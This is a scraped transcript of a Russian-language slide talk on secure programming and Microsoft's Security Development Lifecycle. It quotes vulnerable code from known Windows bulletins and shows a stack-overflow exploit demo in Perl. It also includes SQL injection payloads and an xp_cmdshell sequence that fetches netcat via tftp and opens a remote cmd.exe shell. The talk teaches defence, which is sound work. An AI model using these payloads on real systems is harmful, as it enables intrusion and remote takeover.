Скачать презентацию
Идет загрузка презентации. Пожалуйста, подождите
Презентация была опубликована 11 лет назад пользователемbeerbong.webzavod.ru
1 Безопасность для программиста – все что нужно знать Сергей Поляков CEO WebZavod, MCSD.NET
2 2План Приоритеты Microsoft – раньше и сейчас Реалии войны за безопасность Как победить?
3 3 Приоритеты Microsoft Компьютер в каждый дом Информация на кончиках пальцев 1995 – Важность Internet 2000 –.NET Platform 2002 – Trustworthy computing Когда мы сталкиваемся с проблемой выбора между реализацией новой функциональной возможности и устранением уязвимости, мы должны выбирать второеКогда мы сталкиваемся с проблемой выбора между реализацией новой функциональной возможности и устранением уязвимости, мы должны выбирать второе
4 4 Открытые, прозрачные взаимоотношения с заказчиками Лидерство в индустрии Поддержка открытых стандартов ПредсказуемаяПоддерживаемаяУстойчиваяВосстановимаяДоказанная Защищенность от атак Защита конфиден- циальности, целос- тности данных и систем Управляемая Защита от нежелательных коммуникаций Контроль за приватностью информации Продукты, онлайновые сервисы, принципы доступа
5 5 Безопасность, пожалуй, самая скучная вещь на свете. Что происходит когда система надежно защищена? Founder and CTO of WhiteHat Security, Inc. Jeremiah Grossman Что думают разработчики? НИЧЕГО!"
6 6 Во что выливается подобное отношение Две строки кода на C в RPCSS (Blaster): while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Привели к >1,500,000 зараженных компьютеров 3,370,000 звонков в поддержку в сентябре 2003 (при обычных вирусных эпидемиях не более 350,000) ОЧЕНЬ много негативных комментариев «Это поднимет на новый уровень мысли о поиске альтернативы для продуктов Microsoft Gartner «Определенно видны сдвиги в лучшую сторону [Безопасность Microsoft], но я не уверен, что этих сдвигов достаточно» Forrester Der Speigel
7 7 Что было сделано Microsoft Инвестировано более $100,000,000 Обучено более 11,000 инженеров и сотрудников поддержки План по безопасности для каждого продукта Моделирование угроз Постоянный аудит кода Аудит обязательная часть при выпуске продукта
8 8Результаты! Windows 2000 vs Windows Server 2003 Office 2000 vs Office 2003 Windows XPSP1 vs Windows XPSP2 Exchange 2000 vs Exchange 2003
9 9Результаты! Снижение кол-ва уязвимостей в 2 раза ! IIS5 vs IIS6 SQL Server 2000 vs SQL Server 2000 SP3 IE6 vs IE6 SP2
10 10Результаты!
11 11 На самом деле мы считаем Microsoft лидером отрасли ПО из-за их улучшений в безопасной разработке John Pescatore Vice President and Distinguished Analyst Gartner, Inc (From CRN, Feb 13 th 2006) Результаты!
12 12 Они [Microsoft] в обязательном порядке проводят аудиты кода и тренинги по безопасности для всех разработчиков. Open Source проекты пока не могут придерживаться тех же требований. Author and enterprise systems consultant Ted Neward TheServerSide Java Symposium (March 27 th 2006) Результаты!
13 13 9 из 10 web сайтов имеют как минимум 1 серьезную уязвимость! Каждый раз когда вы посещаете ваш любимый on-line магазин, проверяете состояние счета или просто разговариваете в чате существует 90% вероятность того, что сайт уже взломан! Founder and CTO of WhiteHat Security, Inc. Jeremiah Grossman Начальная стоимость уязвимости для Microsoft – $ Microsoft Security Response Center Война за безопасность - Реалии
14 14 Реалии войны Дилемма атакующего и защищающегося 1. Администратор должен помнить о всех возможных способах взлома; атакующий может выбрать самую уязвимую особенность системы 2. Администратор защищается от известных методов взлома; атакующий пробует неизвестные 3. Администратор всегда должен быть на чеку; атакующий может выбрать любой момент 4. Администратор должен придерживаться правил; атакующий этого не делает
15 15 Реалии войны Хакеры атакуют нерасторопных Секундомер запускается ПОСЛЕ выпуска патча Hackers Beating Efforts to Patch Software Flaws /0,10801,104092,00.html Вместо того чтобы искать уязвимости самостоятельно, они [хакеры] ждут пока выйдут патчи и затем смотрят что за дыры там закрыты, затем они уже думают как их использоватьВместо того чтобы искать уязвимости самостоятельно, они [хакеры] ждут пока выйдут патчи и затем смотрят что за дыры там закрыты, затем они уже думают как их использовать Zotob Proves Patching "Window" Non-Existent Глубокая Защита единственный шанс защититься от раннего появления вредоносного ПОГлубокая Защита единственный шанс защититься от раннего появления вредоносного ПО
16 16 Реалии войны Хакеры отлично вооружены Существуют инструменты, которые позволяют просто делать эксплойты Инструменты для реверс-инжиниринга Structural Comparison of Executable Objects, Halvar Flake PCT Bug: Обнаружение и понимание уязвимости заняло у нас менее 30 минут H.323 ASN.1 Bug: Общий анализ занял менее 3х часов Exploit Payloads
17 17 Цена создания атаки минимальна Цена для заказчиков огромна Разработка плана устранения. Поиск уязвимости. Устранение уязвимости. Тестирование патча. Тестирование программы установки патча. Создание и тестирование патча для разных языков. Стоимость цифрового подписывания кода (Authenticode) Публикация патча на сайт Написания сопроводительной документации Отслеживание и реакция на публикации в СМИ Стоимость трафика Стоимость рабочего времени на разработку следующей версии продукта, которое было остановлено Стоимость установки патча клиентом Стоимость потенциальной потери дохода в связи с возможным решением клиентов не пользоваться вашим продуктом Реалии войны Неравная стоимость
18 18 "Если вы знаете врага и знаете себя, то можете быть спокойны, если вам предстоит сражаться даже в сотне битв. Если вы знаете самого себя, но не знаете врага, за каждую добытую вами победу вы будете расплачиваться поражением. Если вы не знаете ни самого себя, ни врага, вы будете разбиты в каждой битве" Сунь Цзы. "Искусство войны" 511 год до н.э. Как победить?
19 19 Искусство войны Убедить руководство Знать методы взлома Сокращать возможность атаки Придерживаться процесса SDL Быть в курсе Учиться
20 20 В компании, в которой я работал ДО Microsoft, вопросы безопасности изредка возникали на утренних совещаниях в понедельник - после того как технический директор во время уикенда смотрел фильм из разряда "The Net, "Sneakers" или "Hackers"" Один из сотрудников компании Microsoft Поддержка руководства Обычное отношение
21 21 Поддержка руководства Важность защищенных систем Две строки кода на C в RPCSS (Blaster): while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Привели к >1,500,000 зараженных компьютеров 3,370,000 звонков в поддержку в сентябре 2003 (при обычных вирусных эпидемиях не более 350,000) ОЧЕНЬ много негативных комментариев «Это поднимет на новый уровень мысли о поиске альтернативы для продуктов Microsoft Gartner «Определенно видны сдвиги в лучшую сторону [Безопасность Microsoft], но я не уверен, что этих сдвигов достаточно» Forrester Der Speigel
22 Откуда берутся дыры в системах?
23 23 Существует ТОЛЬКО два типа проблем с безопасностью Доверие вводу Доверие вводу Все остальное! Все остальное!
24 24 Crystal Reports Vulnerability MS public class CrystalImageHandler : WebControl { private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read); // stream file to user File.Delete (filePath); } (1) Получаем имя файла из querystring (2) Открываем файл (4) Убиваем файл! crystalimagehandler.aspx?dynamicimage=..\..\boot.ini (3) Отправляем пользователю
25 25 Доверие тем, кому не надо Переполнения буферов SQL Injection Cross-Site Scripting «Все входящее плохое, пока не доказано обратное!» Blake Blake or 1=1 -- Blake var i=document
26 26 Переполнение стека BuffersOther vars EBP EIP Args void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b,p); } Адрес возврата функции Хендлы исключений Указатели на функции Виртуальные методы Определяет порядок выполнения 0wn3d! Беда, если *p указы- вает на данные уже не b
27 27 Переполнение стека void foo(const char* input) { char buf[10]; printf("My stack:\n%p…"); printf("%s\n", buf); printf("Now stack:\n%p…"); } void bar(void) { printf("Augh! I've been hacked!\n"); } int main(int argc, char* argv[]) { printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); foo(argv[1]); return 0; } C:\>StackOverrun.exe Hello foo = bar = My stack: FFDF FF A00410EDEHello Now stack: 6C6C F7FFDF FF A00410EDE $arg = "ABCDEFGHIJKLMNOP". "\x45\x10\x40"; $cmd = "StackOverrun ".$arg; system($cmd); C:\>perl HackOverrun.pl foo = bar = My stack: Now stack: C4B4A49504F4E4D ECA Augh! I've been hacked! StackOverrun.exe Hello foo = 00401000 bar = 00401045 My stack: 00000000000000007FFDF0000012FF800040108A00410EDEHello Now stack: 6C6C65480000006F7FFDF0000012FF800040108A00410EDE $arg = "ABCDEFGHIJKLMNOP". "\x45\x10\x40"; $cmd = "StackOverrun ".$arg; system($cmd); C:\>perl HackOverrun.pl foo = 00401000 bar = 00401045 My stack: 00000000000000007FFDF0000012FF800040108A00410ECAABCDEFGHIJKLMNOPE?@ Now stack: 44434241484746454C4B4A49504F4E4D0040104500410ECA Augh! I've been hacked!">
28 28 Печальный пример SQL Server Instance Resolution (MS02-039) #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG];... ssrpMsg = SsrpRecvMsg(rgbRecvBuf); switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]); } SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) {... bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr ); return((SSRPMSGTYPE)rgbRecvBuf[0]); } BOOL SsrpEnum(LPSTR szInstName,...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName); Читаем не более 256 байт из сети Копируем в 128 байт буфер :(Слушаем порт 1434 – Internet
29 29 error_status_t _RemoteActivation(..., WCHAR *pwszObjectName,... ) { *phr = GetServerPath( pwszObjectName, &pwszObjectName);... } HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){ WCHAR * pwszFinalPath = pwszPath; WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = GetMachineName(pwszPath, wszMachineName); *pwszServerPath = pwszFinalPath; } HRESULT GetMachineName( WCHAR * pwszPath, WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwszServerName = wszMachineName; LPWSTR pwszTemp = pwszPath + 2; while ( *pwszTemp != L'\\' ) *pwszServerName++ = *pwszTemp++;... } Еще пример DCOM Remote Activation (MS03-026) Копируем пока не встретим \ Слушаем порт 135 – Internet
30 30 SMFRESULT FNLOCAL smfBuildFileIndex(PSMF BSTACK *ppsmf) { WORD wMemory; wMemory = sizeof(SMF) + (WORD)(psmf->dwTracks*sizeof(TRACK)); psmfTemp = (PSMF)LocalReAlloc(psmf, wMemory, LMEM_MOVEABLE|LMEM_ZEROINIT); if (NULL == psmfTemp){ DPF(1, "No memory for extended psmf"); return SMF_NO_MEMORY; } psmf = *ppsmf = psmfTemp; // various buffer copies on psmf Атаки на целочисленную арифметику MIDI File Processing Error (MS03-030) sizeof(TRACK) == 0x24, sizeof(SMF) == 0x9E0 Переполнение если dwTracks >= 0x6D8 (1752) 0x9E0 + (0x24 x 0x6D8) == 0x0040 (64 bytes) LocalReAlloc выделяет слишком мало памяти = 0x6D8 (1752) 0x9E0 + (0x24 x 0x6D8) == 0x0040 (64 bytes) LocalReAlloc выделяет слишком мало памяти">
31 31 Проблемы с канонизацией more < boot.ini equals more < boot.ini. equals more < boot.ini::$DATA Название потока Давайте рассмотрим
32 32 Cross Site Scripting (XSS) ОЧЕНЬ частая уязвимость Ошибка в веб-сервере может привести к компрометации клиента и даже более Ошибка – доверяем вводу и повторяем его!
33 33 XSS в действии – крадем Cookie Welcome.asp Hello, document.write ( ) here
34 34 XSS в действии – дефейс /location= document.images[4].src= " /location= document.images[4].src= "
35 35 SQL Injection – C# string Status = "No"; string sqlstring =""; try { SqlConnection sql= new source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); } Пароль что надо! Работаем как админ! String concat для dynamic SQL Говорим плохому человеку слишком много!
1 -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" " class="link_thumb"> 36 36 Что неправильно (1 из 3) Обычный пользователь SELECT HasShipped FROM Shipment WHERE ID='1001' «Не очень хороший пользователь» SELECT HasShipped FROM Shipment WHERE ID= '1001' or 2>1 -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; " FROM Shipment WHERE ID='" + Id + "'"; 1 -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; " FROM Shipment WHERE ID='" + Id + "'";"> 1 -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" ">
37 37 Что неправильно (2 из 3) «Очень плохой хакер» SELECT HasShipped FROM Shipment WHERE ID= '1001' drop table orders -- ' «Аффтар аццкий сотона» SELECT HasShipped FROM Shipment WHERE ID= '1001' exec xp_cmdshell('...') -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; " FROM Shipment WHERE ID='" + Id + "'";
38 38 Что неправильно(3 из 3) Ваш самый страшный кошмар! nc.exe -l -p exec xp_cmdshell 'tftp -i GET nc.exe c:\nc.exe' exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe ' 0wns jesper
39 39 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики
40 40 Снижение вероятности атаки Анализ точек входа в ПО, а также ПлохоЛучше Executing by default Off by default Open socket Closed socket UDPTCP Anonymous Access User Access Admin Access Internet Access Local Subnet Access SYSTEM Not SYSTEM! Weak ACLs Strong ACLs
41 41Примеры Windows XP SP2 Authenticated RPC Firewall по умолчанию IIS6Выключен! Network service Только статика SQL Server 2005 xp_cmdshell выключен CLR и COM выключен Network service Visual Studio 2005 Web server только для localhost SQL Server Express только для localhost
42 42 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики
43 43 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики
44 44fxCop
45 45 fxCop - Demo Sql Injections в действии Cross Site Scripting не пройдет fxCop на страже Собственные правила
46 46 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики
47 47System.Security.SecureString SecureString password = new SecureString(); ConsoleKeyInfo nextKey = Console.ReadKey(true); while(nextKey.Key != ConsoleKey.Enter) { password.AppendChar(nextKey.KeyChar); password.AppendChar(nextKey.KeyChar); Console.Write("*"); Console.Write("*"); nextKey = Console.ReadKey(true); nextKey = Console.ReadKey(true);}password.MakeReadOnly(); return password System.String использовать для хранения важной информации опасно
48 48 Enterprise Library 2.0 Cryptography Application Block Security Application Block Demo Configuration Tool Quick Start for Security
49 49 Security Training Security Kickoff & Register with SWI Security Design Best Practices Security Arch & Attack Surface Review Use Security Development Tools & Security Best Dev & Test Practices Create Security Docs and Tools For Product Prepare Security Response Plan Security Push Pen Testing Final Security Review Security Servicing & Response Execution RequirementsDesignImplementationVerificationRelease Support & Servicing Proactive Security Development Lifecycle Задачи и процессы Threat Modeling
50 50 Недостаток знаний ; deldeleteete from table deldeleteete
51 51 Недостаток знаний
52 52 Роль обучения Эксперимент #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256
53 53
54 54 Samara.NET User Group > 100 участников 18 встреч, 2 встречи каждый месяц >30 докладов на разные темы Книги Защита ваших проектов ПризыОБЩЕНИЕ
55 55Ресурсы Описание Security Development Lifecycle Блог Michael Howard
56 56Заключение Безопасность это очень важно, потому что может быть очень накладно Нужно: Убедить руководство Знать методы взлома Сокращать возможность атаки Придерживаться процесса SDL Быть в курсе Общаться – UG ждет тебя!
57 57Вопросы? Сергей Поляков
58 58 © 2005 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.
59 59 Как работает Microsoft: Watson
60 60 Еще целочисленные Internet Explorer 5.0 BMP Rendering (MS04-025) while (_bmfh.bfOffBits > (unsigned)cbRead) { BYTE abDummy[1024]; int cbSkip; cbSkip = _bmfh.bfOffBits - cbRead; cbSkip = _bmfh.bfOffBits - cbRead; if (cbSkip > 1024) cbSkip = 1024; if (cbSkip > 1024) cbSkip = 1024; if (!Read(abDummy, cbSkip)) goto Cleanup; if (!Read(abDummy, cbSkip)) goto Cleanup; cbRead += cbSkip; } cbRead += cbSkip; } If cbSkip < 0 :(
61 61 BOOL GpJpegDecoder::read_jpeg_marker( IN j_decompress_ptr cinfo, IN SHORT app_header, OUT VOID **ppBuffer, OUT UINT16 *pLength ) { VOID *pBuffer; UINT16 length; INPUT_VARS(cinfo); INPUT_2BYTES(cinfo, length, return FALSE); *pLength = length+2; pBuffer = GpMalloc(length+2);... INT l = length - 2;... GpMemcpy(p, cinfo->src->next_input_byte, l); Еще GDI+ JPG Rendering (MS04-028) 0xFFFE + 0x02 == 0x00 0xFFFFFFFE - 0x02 == 0xFFFFFFFC
Еще похожие презентации в нашем архиве:
© 2024 MyShared Inc.
All rights reserved.